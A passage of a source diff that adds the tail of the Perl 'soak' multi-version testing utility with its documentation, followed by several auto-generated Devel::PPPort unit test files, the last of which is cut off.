+sub perl_version
+{
+ my $perl = shift;
+ my $ver = `$perl -e 'print \$]' 2>&1`;
+ return $? == 0 && $ver =~ /^\d+\.\d+/ && $ver >= 5 ? $ver : 0;
+}
+
+sub parse_version
+{
+ my $ver = shift;
+
+ if ($ver =~ /^(\d+)\.(\d+)\.(\d+)$/) {
+ return $1 + 1e-3*$2 + 1e-6*$3;
+ }
+ elsif ($ver =~ /^\d+\.[\d_]+$/) {
+ $ver =~ s/_//g;
+ return $ver;
+ }
+
+ die "cannot parse version '$ver'\n";
+}
+
+package NoSTDOUT;
+
+use Tie::Handle;
+our @ISA = qw(Tie::Handle);
+
+sub TIEHANDLE { bless \(my $s = ''), shift }
+sub PRINT {}
+sub WRITE {}
+
+package Soak::Reporter;
+
+use strict;
+
+sub cs($;$$) { my $x = shift; my($s, $p) = @_ ? @_ : ('', 's'); ($x, $x == 1 ? $s : $p) }
+
+sub new
+{
+ my $class = shift;
+ bless {
+ tests => undef,
+ color => 1,
+ verbose => 0,
+ @_,
+ _cur => 0,
+ _atbol => 1,
+ _total => 0,
+ _good => [],
+ _bad => [],
+ }, $class;
+}
+
+sub colored
+{
+ my $self = shift;
+
+ if ($self->{color}) {
+ my $c = eval {
+ require Term::ANSIColor;
+ Term::ANSIColor::colored(@_);
+ };
+
+ if ($@) {
+ $self->{color} = 0;
+ }
+ else {
+ return $c;
+ }
+ }
+
+ return $_[0];
+}
+
+sub _config
+{
+ my $self = shift;
+ return $self->{config} =~ /\S+/ ? " ($self->{config})" : '';
+}
+
+sub _progress
+{
+ my $self = shift;
+ return '' unless defined $self->{tests};
+ my $tlen = length $self->{tests};
+ my $text = sprintf "[%${tlen}d/%${tlen}d] ", $self->{_cur}, $self->{tests};
+ return $self->colored($text, 'bold');
+}
+
+sub _test
+{
+ my $self = shift;
+ return $self->_progress . "Testing "
+ . $self->colored($self->{perl}, 'blue')
+ . $self->colored($self->_config, 'green');
+}
+
+sub _testlen
+{
+ my $self = shift;
+ return length("Testing " . $self->{perl} . $self->_config);
+}
+
+sub _dots
+{
+ my $self = shift;
+ return '.' x $self->_dotslen;
+}
+
+sub _dotslen
+{
+ my $self = shift;
+ return $self->{width} - length($self->{perl} . $self->_config);
+}
+
+sub _sep
+{
+ my $self = shift;
+ my $width = shift;
+ $self->print($self->colored('-'x$width, 'bold'), "\n");
+}
+
+sub _vsep
+{
+ goto &_sep if $_[0]->{verbose};
+}
+
+sub set
+{
+ my $self = shift;
+ while (@_) {
+ my($k, $v) = splice @_, 0, 2;
+ $self->{$k} = $v;
+ }
+}
+
+sub test
+{
+ my $self = shift;
+ $self->{_cur}++;
+ $self->_vsep($self->_testlen);
+ $self->print($self->_test, $self->{verbose} ? "\n" : ' ' . $self->_dots . ' ');
+ $self->_vsep($self->_testlen);
+}
+
+sub _warnings
+{
+ my($self, $mode) = @_;
+
+ my $warnings = 0;
+ my $differ = 0;
+
+ for my $w (@{$self->{_warnings}}) {
+ if (@{$w->[1]}) {
+ $warnings += @{$w->[1]};
+ $differ++;
+ }
+ }
+
+ my $rv = '';
+
+ if ($warnings) {
+ if ($mode eq 'summary') {
+ $rv .= sprintf " (%d warning%s", cs($warnings);
+ }
+ else {
+ $rv .= "\n";
+ }
+
+ for my $w (@{$self->{_warnings}}) {
+ if (@{$w->[1]}) {
+ if ($mode eq 'detail') {
+ $rv .= " Warnings during '$w->[0]':\n";
+ my $cnt = 1;
+ for my $msg (@{$w->[1]}) {
+ $rv .= sprintf " [%d] %s", $cnt++, $msg;
+ }
+ $rv .= "\n";
+ }
+ else {
+ unless ($self->{verbose}) {
+ $rv .= $differ == 1 ? " during " . $w->[0]
+ : sprintf(", %d during %s", scalar @{$w->[1]}, $w->[0]);
+ }
+ }
+ }
+ }
+
+ if ($mode eq 'summary') {
+ $rv .= ')';
+ }
+ }
+
+ return $rv;
+}
+
+sub _result
+{
+ my($self, $text, $color) = @_;
+ my $sum = $self->_warnings('summary');
+ my $len = $self->_testlen + $self->_dotslen + length($text) + length($sum) + 2;
+
+ $self->_vsep($len);
+ $self->print($self->_test, ' ', $self->_dots, ' ') if $self->{verbose} || $self->{_atbol};
+ $self->print($self->colored($text, $color));
+ $self->print($self->colored($sum, 'red'));
+ $self->print("\n");
+ $self->_vsep($len);
+ $self->print($self->_warnings('detail')) if $self->{verbose};
+ $self->{_total}++;
+}
+
+sub passed
+{
+ my $self = shift;
+ $self->_result(@_, 'ok', 'bold green');
+ push @{$self->{_good}}, [$self->{perl}, $self->{config}];
+}
+
+sub failed
+{
+ my $self = shift;
+ $self->_result(@_, 'not ok', 'bold red');
+ push @{$self->{_bad}}, [$self->{perl}, $self->{config}];
+}
+
+sub warnings
+{
+ my $self = shift;
+ $self->{_warnings} = \@_;
+}
+
+sub _tobol
+{
+ my $self = shift;
+ print "\n" unless $self->{_atbol};
+ $self->{_atbol} = 1;
+}
+
+sub print
+{
+ my $self = shift;
+ my $text = join '', @_;
+ print $text;
+ $self->{_atbol} = $text =~ /[\r\n]$/;
+}
+
+sub say
+{
+ my $self = shift;
+ $self->_tobol;
+ $self->print(@_, "\n");
+}
+
+sub vsay
+{
+ goto &say if $_[0]->{verbose};
+}
+
+sub warn
+{
+ my $self = shift;
+ $self->say($self->colored(join('', @_), 'red'));
+}
+
+sub die
+{
+ my $self = shift;
+ $self->say($self->colored(join('', 'FATAL: ', @_), 'bold red'));
+ exit -1;
+}
+
+sub status
+{
+ my($self, $text) = @_;
+ $self->_tobol;
+ $self->print($self->colored($text, 'bold'), "\n");
+}
+
+sub finish
+{
+ my $self = shift;
+
+ if (@{$self->{_bad}}) {
+ $self->status("\nFailed with:");
+ for my $fail (@{$self->{_bad}}) {
+ my($perl, $cfg) = @$fail;
+ $self->set(config => $cfg);
+ $self->say(" ", $self->colored($perl, 'blue'), $self->colored($self->_config, 'green'));
+ }
+ }
+
+ $self->status(sprintf("\nPassed with %d of %d combination%s.\n",
+ scalar @{$self->{_good}}, cs($self->{_total})));
+
+ return scalar @{$self->{_bad}};
+}
+
+__END__
+
+=head1 NAME
+
+soak - Test Perl modules with multiple Perl releases
+
+=head1 SYNOPSIS
+
+ soak [options] [perl ...]
+
+ --make=program override name of make program ($Config{make})
+ --min=version use at least this version of perl
+ --mmargs=options pass options to Makefile.PL (multiple --mmargs
+ possible)
+ --verbose be verbose
+ --nocolor don't use colored output
+
+=head1 DESCRIPTION
+
+The F<soak> utility can be used to test Perl modules with
+multiple Perl releases or build options. It automates the
+task of running F<Makefile.PL> and the modules test suite.
+
+It is not primarily intended for cross-platform checking,
+so don't expect it to work on all platforms.
+
+=head1 EXAMPLES
+
+To test your favourite module, just change to its root
+directory (where the F<Makefile.PL> is located) and run:
+
+ soak
+
+This will automatically look for Perl binaries installed
+on your system.
+
+Alternatively, you can explicitly pass F<soak> a list of
+Perl binaries:
+
+ soak perl5.8.6 perl5.9.2
+
+Last but not least, you can pass it a list of directories
+to recursively search for Perl binaries, for example:
+
+ soak /tmp/perl/install /usr/bin
+
+All of the above examples will run
+
+ perl Makefile.PL
+ make
+ make test
+
+for your module and report success or failure.
+
+If your F<Makefile.PL> can take arguments, you may also
+want to test different configurations for your module.
+You can do so with the I<--mmargs> option:
+
+ soak --mmargs=' ' --mmargs='CCFLAGS=-Wextra' --mmargs='enable-debug'
+
+This will run
+
+ perl Makefile.PL
+ make
+ make test
+ perl Makefile.PL CCFLAGS=-Wextra
+ make
+ make test
+ perl Makefile.PL enable-debug
+ make
+ make test
+
+for each Perl binary.
+
+If you have a directory full of different Perl binaries,
+but your module isn't expected to work with ancient perls,
+you can use the I<--min> option to specify the minimum
+version a Perl binary must have to be chosen for testing:
+
+ soak --min=5.8.1
+
+Usually, the output of F<soak> is rather terse, to give
+you a good overview. If you'd like to see more of what's
+going on, use the I<--verbose> option:
+
+ soak --verbose
+
+=head1 COPYRIGHT
+
+Version 3.x, Copyright (c) 2004-2013, Marcus Holland-Moritz.
+
+Version 2.x, Copyright (C) 2001, Paul Marquess.
+
+Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+=head1 SEE ALSO
+
+See L<Devel::PPPort>.
+
+=cut
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/HvNAME.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/HvNAME.t
new file mode 100644
index 00000000000..6bf39f10db4
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/HvNAME.t
@@ -0,0 +1,56 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/HvNAME instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (4) {
+ load();
+ plan(tests => 4);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(Devel::PPPort::HvNAME_get(\%Devel::PPPort::), 'Devel::PPPort');
+ok(!defined Devel::PPPort::HvNAME_get({}));
+
+ok(Devel::PPPort::HvNAMELEN_get(\%Devel::PPPort::), length('Devel::PPPort'));
+ok(Devel::PPPort::HvNAMELEN_get({}), 0);
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/MY_CXT.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/MY_CXT.t
new file mode 100644
index 00000000000..a94bd386c4d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/MY_CXT.t
@@ -0,0 +1,54 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/MY_CXT instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (3) {
+ load();
+ plan(tests => 3);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(&Devel::PPPort::MY_CXT_1());
+ok(&Devel::PPPort::MY_CXT_2());
+ok(&Devel::PPPort::MY_CXT_CLONE());
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/SvPV.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/SvPV.t
new file mode 100644
index 00000000000..392a0ccb0e3
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/SvPV.t
@@ -0,0 +1,120 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/SvPV instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (49) {
+ load();
+ plan(tests => 49);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my $mhx = "mhx";
+
+ok(&Devel::PPPort::SvPVbyte($mhx), 3);
+
+my $i = 42;
+
+ok(&Devel::PPPort::SvPV_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_const($mhx), $i++);
+ok(&Devel::PPPort::SvPV_mutable($mhx), $i++);
+ok(&Devel::PPPort::SvPV_flags($mhx), $i++);
+ok(&Devel::PPPort::SvPV_flags_const($mhx), $i++);
+
+ok(&Devel::PPPort::SvPV_flags_const_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_flags_mutable($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_mutable($mhx), $i++);
+
+ok(&Devel::PPPort::SvPV_force_nomg($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_nomg_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_flags($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_flags_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_flags_mutable($mhx), $i++);
+
+ok(&Devel::PPPort::SvPV_nolen_const($mhx), $i++);
+ok(&Devel::PPPort::SvPV_nomg($mhx), $i++);
+ok(&Devel::PPPort::SvPV_nomg_const($mhx), $i++);
+ok(&Devel::PPPort::SvPV_nomg_const_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_nomg_nolen($mhx), $i++);
+
+$mhx = 42; ok(&Devel::PPPort::SvPV_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_const($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_mutable($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_flags($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_flags_const($mhx), 2);
+
+$mhx = 42; ok(&Devel::PPPort::SvPV_flags_const_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_flags_mutable($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_mutable($mhx), 2);
+
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_nomg($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_nomg_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_flags($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_flags_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_flags_mutable($mhx), 2);
+
+$mhx = 42; ok(&Devel::PPPort::SvPV_nolen_const($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_nomg($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_nomg_const($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_nomg_const_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_nomg_nolen($mhx), 0);
+
+my $str = "";
+&Devel::PPPort::SvPV_force($str);
+my($s2, $before, $after) = &Devel::PPPort::SvPV_renew($str, 81, "x"x80);
+ok($str, "x"x80);
+ok($s2, "x"x80);
+ok($before < 81);
+ok($after, 81);
+
+$str = "x"x400;
+&Devel::PPPort::SvPV_force($str);
+($s2, $before, $after) = &Devel::PPPort::SvPV_renew($str, 41, "x"x40);
+ok($str, "x"x40);
+ok($s2, "x"x40);
+ok($before > 41);
+ok($after, 41);
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/SvREFCNT.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/SvREFCNT.t
new file mode 100644
index 00000000000..0b46a51793c
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/SvREFCNT.t
@@ -0,0 +1,54 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/SvREFCNT instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (14) {
+ load();
+ plan(tests => 14);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+for (Devel::PPPort::SvREFCNT()) {
+ ok(defined $_ and $_);
+}
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/Sv_set.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/Sv_set.t
new file mode 100644
index 00000000000..77a7a860db0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/Sv_set.t
@@ -0,0 +1,71 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/Sv_set instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (5) {
+ load();
+ plan(tests => 5);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my $foo = 5;
+ok(&Devel::PPPort::TestSvUV_set($foo, 12345), 42);
+ok(&Devel::PPPort::TestSvPVX_const("mhx"), 43);
+ok(&Devel::PPPort::TestSvPVX_mutable("mhx"), 44);
+
+my $bar = [];
+
+bless $bar, 'foo';
+ok($bar->x(), 'foobar');
+
+Devel::PPPort::TestSvSTASH_set($bar, 'bar');
+ok($bar->x(), 'hacker');
+
+package foo;
+
+sub x { 'foobar' }
+
+package bar;
+
+sub x { 'hacker' }
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/call.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/call.t
new file mode 100644
index 00000000000..4d3e80e4c80
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/call.t
@@ -0,0 +1,107 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/call instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (52) {
+ load();
+ plan(tests => 52);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+sub eq_array
+{
+ my($a, $b) = @_;
+ join(':', @$a) eq join(':', @$b);
+}
+
+sub f
+{
+ shift;
+ unshift @_, 'b';
+ pop @_;
+ @_, defined wantarray ? wantarray ? 'x' : 'y' : 'z';
+}
+
+my $obj = bless [], 'Foo';
+
+sub Foo::meth
+{
+ return 'bad_self' unless @_ && ref $_[0] && ref($_[0]) eq 'Foo';
+ shift;
+ shift;
+ unshift @_, 'b';
+ pop @_;
+ @_, defined wantarray ? wantarray ? 'x' : 'y' : 'z';
+}
+
+my $test;
+
+for $test (
+ # flags args expected description
+ [ &Devel::PPPort::G_SCALAR, [ ], [ qw(y 1) ], '0 args, G_SCALAR' ],
+ [ &Devel::PPPort::G_SCALAR, [ qw(a p q) ], [ qw(y 1) ], '3 args, G_SCALAR' ],
+ [ &Devel::PPPort::G_ARRAY, [ ], [ qw(x 1) ], '0 args, G_ARRAY' ],
+ [ &Devel::PPPort::G_ARRAY, [ qw(a p q) ], [ qw(b p x 3) ], '3 args, G_ARRAY' ],
+ [ &Devel::PPPort::G_DISCARD, [ ], [ qw(0) ], '0 args, G_DISCARD' ],
+ [ &Devel::PPPort::G_DISCARD, [ qw(a p q) ], [ qw(0) ], '3 args, G_DISCARD' ],
+)
+{
+ my ($flags, $args, $expected, $description) = @$test;
+ print "# --- $description ---\n";
+ ok(eq_array( [ &Devel::PPPort::call_sv(\&f, $flags, @$args) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::call_sv(*f, $flags, @$args) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::call_sv('f', $flags, @$args) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::call_pv('f', $flags, @$args) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::call_argv('f', $flags, @$args) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::eval_sv("f(qw(@$args))", $flags) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::call_method('meth', $flags, $obj, @$args) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::call_sv_G_METHOD('meth', $flags, $obj, @$args) ], $expected));
+};
+
+ok(&Devel::PPPort::eval_pv('f()', 0), 'y');
+ok(&Devel::PPPort::eval_pv('f(qw(a b c))', 0), 'y');
+
+ok(!defined $::{'less::'}, 1, "Hadn't loaded less yet");
+Devel::PPPort::load_module(0, "less", undef);
+ok(defined $::{'less::'}, 1, "Have now loaded less");
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/cop.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/cop.t
new file mode 100644
index 00000000000..1677dee79aa
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/cop.t
@@ -0,0 +1,110 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/cop instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (28) {
+ load();
+ plan(tests => 28);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my $package;
+{
+ package MyPackage;
+ $package = &Devel::PPPort::CopSTASHPV();
+}
+print "# $package\n";
+ok($package, "MyPackage");
+
+my $file = &Devel::PPPort::CopFILE();
+print "# $file\n";
+ok($file =~ /cop/i);
+
+BEGIN {
+ if ($] < 5.006000) {
+ # Skip
+ for (1..28) {
+ ok(1, 1);
+ }
+ exit;
+ }
+}
+
+BEGIN {
+ package DB;
+ no strict "refs";
+ local $^P = 1;
+ sub sub { &$DB::sub }
+}
+
+{ package One; sub one { Devel::PPPort::caller_cx($_[0]) } }
+{
+ package Two;
+ sub two { One::one(@_) }
+ sub dbtwo {
+ BEGIN { $^P = 1 }
+ One::one(@_);
+ BEGIN { $^P = 0 }
+ }
+}
+
+for (
+ # This is rather confusing. The package is the package the call is
+ # made *from*, the sub name is the sub the call is made *to*. When
+ # DB::sub is involved the first call is to DB::sub from the calling
+ # package, the second is to the real sub from package DB.
+ [\&One::one, 0, qw/main one main one/],
+ [\&One::one, 2, ],
+ [\&Two::two, 0, qw/Two one Two one/],
+ [\&Two::two, 1, qw/main two main two/],
+ [\&Two::dbtwo, 0, qw/Two sub DB one/],
+ [\&Two::dbtwo, 1, qw/main dbtwo main dbtwo/],
+) {
+ my ($sub, $arg, @want) = @$_;
+ my @got = $sub->($arg);
+ ok(@got, @want);
+ for (0..$#want) {
+ ok($got[$_], $want[$_]);
+ }
+}
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/exception.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/exception.t
new file mode 100644
index 00000000000..c432df6e69d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/exception.t
@@ -0,0 +1,67 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/exception instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (7) {
+ load();
+ plan(tests => 7);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my $rv;
+
+$Devel::PPPort::exception_caught = undef;
+
+$rv = eval { &Devel::PPPort::exception(0) };
+ok($@, '');
+ok(defined $rv);
+ok($rv, 42);
+ok($Devel::PPPort::exception_caught, 0);
+
+$Devel::PPPort::exception_caught = undef;
+
+$rv = eval { &Devel::PPPort::exception(1) };
+ok($@, "boo\n");
+ok(not defined $rv);
+ok($Devel::PPPort::exception_caught, 1);
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/format.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/format.t
new file mode 100644
index 00000000000..a25ede533f5
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/format.t
@@ -0,0 +1,55 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/format instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (1) {
+ load();
+ plan(tests => 1);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
